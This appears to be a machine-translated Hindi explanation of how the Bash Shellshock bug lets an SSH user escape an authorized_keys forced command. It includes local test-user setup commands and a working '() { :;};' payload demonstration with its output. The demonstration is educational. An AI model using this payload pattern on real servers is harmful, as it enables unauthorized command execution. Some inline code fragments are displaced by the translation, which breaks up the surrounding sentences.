एक उदाहरण जहां इसका शोषण किया जा सकता है वह एक authorized_keys
मजबूर कमांड वाले सर्वर पर है । प्रवेश करते समय ~/.ssh/authorized_keys
, आप किसी भी समय ssh सार्वजनिक कुंजी का उपयोग करने के command="foo"
लिए बाध्य foo
करने के लिए लाइन के साथ उपसर्ग कर सकते हैं । इस कारनामे के साथ, यदि लक्ष्य उपयोगकर्ता के शेल को सेट किया गया है bash
, तो वे कमांड के अलावा उन चीजों को चलाने के लिए शोषण का लाभ उठा सकते हैं, जिनके लिए उन्हें मजबूर किया जाता है।
यह शायद उदाहरण के लिए और अधिक समझ में आता है, इसलिए यहाँ एक उदाहरण है:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
यहां हम एक उपयोगकर्ता सेट करते हैं testuser
, जो चलाने के लिए आपकी ssh कुंजी का उपयोग करके किसी भी ssh कनेक्शन को बाध्य करता है echo starting sleep; sleep 1
।
हम इसके साथ परीक्षण कर सकते हैं:
$ ssh testuser@localhost echo something else
starting sleep
ध्यान दें कि हमारा echo something else
काम कैसे नहीं starting sleep
चलता है , लेकिन यह दर्शाता है कि मजबूर कमांड चलाया गया था।
अब दिखाते हैं कि इस शोषण का उपयोग कैसे किया जा सकता है:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
यह काम करता है क्योंकि पारित होने के sshd
लिए SSH_ORIGINAL_COMMAND
पर्यावरण चर सेट करता है । इसलिए भले ही मैं sshd
भाग गया sleep
, लेकिन मैंने इसे नहीं बताया, क्योंकि शोषण के कारण, मेरा कोड अभी भी चलता है।